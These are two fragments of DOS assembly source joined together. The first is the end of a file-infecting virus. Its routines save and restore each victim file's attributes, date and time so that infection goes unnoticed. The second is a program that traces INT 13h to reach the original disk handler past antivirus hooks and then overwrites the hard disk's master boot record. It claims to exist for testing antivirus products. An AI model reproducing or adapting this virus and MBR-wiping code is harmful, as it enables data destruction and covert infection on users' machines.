- ;--------------------------------------------------------------------------
- ;This routine reverses the action of NEW_DTA and restores the DTA to its
- ;original value.
- RESTORE_DTA:
- mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
- mov ax,WORD PTR [OLDDTA+2]
- mov ds,ax
- mov ah,1AH
- int 21H ;and tell DOS where to put it
- mov ax,cs ;restore ds before exiting
- mov ds,ax
- ret
-
- ;--------------------------------------------------------------------------
- ;This routine saves the original file attribute in FATTR, the file date and
- ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
- ;file attribute to read/write, and leaves the file opened in read/write
- ;mode (since it has to open the file to get the date and size), with the handle
- ;it was opened under in HANDLE. The file path and name is in USEFILE.
- SAVE_ATTRIBUTE:
- mov ah,43H ;get file attr
- mov al,0
- mov dx,OFFSET USEFILE
- int 21H
- mov [FATTR],cl ;save it here
- mov ah,43H ;now set file attr to r/w
- mov al,1
- mov dx,OFFSET USEFILE
- mov cl,0
- int 21H
- mov dx,OFFSET USEFILE
- mov al,2 ;now that we know it's r/w
- mov ah,3DH ;we can r/w access open file
- int 21H
- mov [HANDLE],ax ;save file handle here
- mov ah,57H ;and get the file date and time
- xor al,al
- mov bx,[HANDLE]
- int 21H
- mov [FTIME],cx ;and save it here
- mov [FDATE],dx ;and here
- mov ax,WORD PTR [DTA1+28] ;file size was set up here by
- mov WORD PTR [FSIZE+2],ax ;search routine
- mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
- mov WORD PTR [FSIZE],ax
- ret
-
- ;--------------------------------------------------------------------------
- ;Restore file attribute, and date and time of the file as they were before
- ;it was infected. This also closes the file
- REST_ATTRIBUTE:
- mov dx,[FDATE] ;get old date and time
- mov cx,[FTIME]
- mov ah,57H ;set file date and time to old value
- mov al,1
- mov bx,[HANDLE]
- int 21H
- mov ah,3EH
- mov bx,[HANDLE] ;close file
- int 21H
- mov cl,[FATTR]
- xor ch,ch
- mov ah,43H ;Set file attr to old value
- mov al,1
- mov dx,OFFSET USEFILE
- int 21H
- ret
-
- FINAL: ;last byte of code to be kept in virus
-
- VSEG ENDS
-
-
- ;--------------------------------------------------------------------------
- ;Virus stack segment
-
- VSTACK SEGMENT PARA STACK
- db STACKSIZE dup (?)
- VSTACK ENDS
-
- END VIRUS ;Entry point is the virus
-
-
- done
-
- .radix 16
-
- code segment
- assume cs:code,ds:code
-
- org 100
-
- CODEX equ 0C000 ; Or use 0300 when tracing DOS
-
- CR equ 0Dh
- LF equ 0A
-
- start:
- jmp do_it
-
- oldint1 dd ?
- newintx dd ?
- oldintx dd ?
- trace db 1
- found db 0
- buffer db 200 dup (0)
- message db CR,LF,'********** W A R N I N G ! ! ! **********',CR,LF,CR,LF
- db 'This program, when run, will zero (DESTROY!) the',CR,LF
- db 'master boot record of your first hard disk.',CR,LF,CR,LF
- db 'The purpose of this is to test the antivirus software,',CR,LF
- db 'so be sure you have installed your favourite',CR,LF
- db 'protecting program before running this one!',CR,LF
- db "(It's almost sure it will fail to protect you anyway!)",CR,LF
- db CR,LF,'Press any key to abort, or',CR,LF
- db 'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'
- warned db CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'
-
- do_it:
- mov ax,600 ; Clear the screen by scrolling it up
- mov bh,7
- mov dx,1950
- xor cx,cx
- int 10
-
- mov ah,0F ; Get the current video mode
- int 10 ; (the video page, more exactly)
-
- mov ah,2 ; Home the cursor
- xor dx,dx
- int 10
-
- mov ah,9 ; Print a warning message
- mov dx,offset message
- int 21
-
- mov ax,0C08 ; Flush the keyboard and get a char
- int 21
- cmp al,0 ; Extendet ASCII?
- jne quit1 ; Exit if not
- mov ah,8 ; Get the key code
- int 21
- cmp al,6C ; Shift-F5?
- jne quit1 ; Exit if not
- mov ah,2 ; Get keyboard shift status
- int 16
- and al,1101b ; Ctrl-Alt-RightShift?
- jnz proceed ; Proceed if so
- quit1:
- jmp quit ; Otherwise exit
-
- proceed:
- mov ah,9 ; Print the last message
- mov dx,offset warned
- int 21
-
- mov ax,3501 ; Get interrupt vector 1 (single steping)
- int 21
- mov word ptr oldint1,bx
- mov word ptr oldint1+2,es
-
- mov ax,2501 ; Set new INT 1 handler
- mov dx,offset newint1
- int 21
-
- mov ax,3513 ; Get interrupt vector 13
- int 21
- mov word ptr oldintx,bx
- mov word ptr oldintx+2,es
- mov word ptr newintx,bx
- mov word ptr newintx+2,es
-
- ; The following code is sacred in it's present form.
- ; To change it would cause volcanos to errupt,
- ; the ground to shake, and program not to run!
-
- mov ax,200
- push ax
- push cs
- mov ax,offset done
- push ax
- mov ax,100
- push ax
- push cs
- mov ax,offset faddr
- push ax
- mov ah,55
- iret
-
- assume ds:nothing
-
- faddr:
- jmp oldintx
-
- newint1:
- push bp
- mov bp,sp
- cmp trace,0
- jne search
- exit:
- and [bp+6],not 100
- exit1:
- pop bp
- iret
- search:
- cmp [bp+4],CODEX
- jb exit1
- ;Or use ja if you want to trace DOS-owned interrupt
- push ax
- mov ax,[bp+4]
- mov word ptr newintx+2,ax
- mov ax,[bp+2]
- mov word ptr newintx,ax
- pop ax
- mov found,1
- mov trace,0
- jmp exit
-
- assume ds:code
- done:
- mov trace,0
- push ds
- mov ax,word ptr oldint1+2
- mov dx,word ptr oldint1
- mov ds,ax
- mov ax,2501 ; Restore old INT 1 handler
- int 21
- pop ds
-
- ; Code beyong this point is not sacred...
- ; It may be perverted in any manner by any pervert.
-
- cmp found,1 ; See if original INT 13 handler found
- jne quit ; Exit if not
- push ds
- pop es ; Restore ES
-
- mov ax,301 ; Write 1 sector
- mov cx,1 ; Cylinder 0, sector 1
- mov dx,80 ; Head 0, drive 80h
- mov bx,offset buffer
- pushf ; Simulate INT 13
- call newintx ; Do it
-
- quit:
- mov ax,4C00 ; Exit program
- int 21
-
- code ends
- end start
-
- done
-